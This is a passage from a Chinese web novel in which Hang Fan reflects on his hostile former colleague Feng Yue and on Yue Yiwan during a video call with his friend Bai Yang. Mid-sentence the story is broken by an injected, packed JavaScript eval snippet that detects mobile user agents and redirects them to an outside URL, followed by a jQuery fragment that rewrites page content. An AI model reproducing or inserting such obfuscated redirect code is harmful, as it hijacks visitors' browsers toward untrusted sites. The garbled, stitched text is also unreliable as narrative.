冯越，逢难而越，也是个有着好寓意的名字。 但可惜人不如其名，在单手数得过来的几次碰面里，这人给杭帆留下的印象就只能用极端恶劣来形容：开会迟到，无故早退，不仅频频打断各路同事的发言，还会在别人提出反对意见时当场爆粗。 部门里没人乐意和他共事，此君更是公然放话说在座各位都是废物，配不上他的尊敬——冯越毕业于海外某顶尖艺术院校，师从某位教科书级的广告大鳄，回国之后又在两家4A公司各干了一段时间，履历上的项目各个都金光闪耀得直欲晃瞎人眼。 彼时的杭帆还身在总部。对于冯越这人，究竟是被谁挖角进罗彻斯特集团的，后来又是为什么被踢出了局，其间的种种细节，小杭总监实是一概不知。 那时节，他一年到头都忙到脚不沾地，哪有闲心去长期追踪一桩八卦。 此刻，杭帆已经完全可以猜到整件事情的大致来龙去脉——即便不了解冯越其人在日常生活中的为人处世风格，但他至少很了解岳一宛。 岳一宛这家伙吧，虽然性格有些古怪，但只要不戳中他的逆鳞，平日里待人倒也还算是亲切和蔼。如果能忽略掉这人时不时就要从嘴里掉落几句阴阳怪气台词的毛病，斯芸的首席酿酒师确实是一位很讨人喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449822|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢的俊俏小伙儿。 但这都是建立在大家彼此看得顺眼的前提下。否则，以岳一宛那张淬过毒的嘴，他绝对有能力让人在梦里都体会到何为如坐针毡。 “我可以直说吗？” 白洋冷不丁地插嘴道。 “你对岳一宛的了解之深已经开始让我有点儿害怕了，真的。”他说，“就确认一下，杭小帆，你没有在读他的心，或者偷偷翻看他的日记吧？” 杭帆不屑地斥之为污蔑。 “岳一宛还需要被人读心？他就像一本打开的书一样好懂。还是那种有声书，翻开第一页之后就会开始大声朗读他自己。” 白洋依然觉得有哪里不太对劲。 “嗯……”他试图找到这个怪异感的源头：“但你接受了‘前同事痴迷现同事’这件事的速度是不是也太快了点？正常来说，咱们不是应该先走个大惊小怪一惊一乍的流程吗？” 杭帆疑惑：“天是蓝的，水是湿的，岳一宛会蛊惑人心，这又有什么可值得奇怪？” “……” 这下，连白洋都失去了锐评的力气。 “我只是想不明白，冯越这是在干吗？” 杭帆现在已经很能理解岳一宛的思考回路了，但他也发现自己真是理解不了冯越这人，一点都不能。 “他是想要报复岳一宛？为岳一宛拒绝了他，还把他给踢出了斯芸和罗彻斯特？” 百思不得其解的小杭总监，像是一只被毛线困住而在原地团团打转的猫。 “……总不能是最新型的求偶方式吧？这也太抽象了！” “等一下，杭帆。等一下。” 杭帆正在叽叽咕咕地抱头苦思，另一端的白洋却匆匆打断了他。 说话间，一个戴墨镜的年轻男子已经唐突闯进了视频通话的画面里。他的样貌杭帆并不陌生，这人是白洋在当地合作多年的一位向导兼翻译。 两人交头接耳地嘀咕了几句，白洋神色一凛，当机立断地起身合上了电脑。 他快速拾起了桌上的手机，冲着镜头略一颔首：“计划有变，我们得立刻动身上路。等我有网了再联系你。” “祝你工作顺利，杭帆！再见！” 画面陡然一黑，是白洋那边主动挂掉了视频通话。 交战地区的通讯信号极不稳定。此去一别，不知下一次再与好友接通视频，又得到什么时候了。 杭帆收起自己的手机，兀自摇了摇头，将伤感的情绪自脑中驱走。 既然白洋已经前去赶赴工作现场，那自己也必须得要振奋起精神才行！ 小杭总监握了握拳，为自己加油打气。 在天色彻底亮起来前，至少要把手上的这支视频给剪完，最好还能赶在八点半之前发布。 如此这般地一番操作，各位网友或许就能在上班上学的通勤路上刷到这支视频，并在百无聊赖之中点开来稍微看上一看…… 至少，杭帆自己是这么计划的。 “咚咚咚！” 然而计划总是赶不上变化。 “杭帆，起床了！错过这个，我保证你一定肯定确定会后悔的！” 而变化，你的名字叫岳一宛。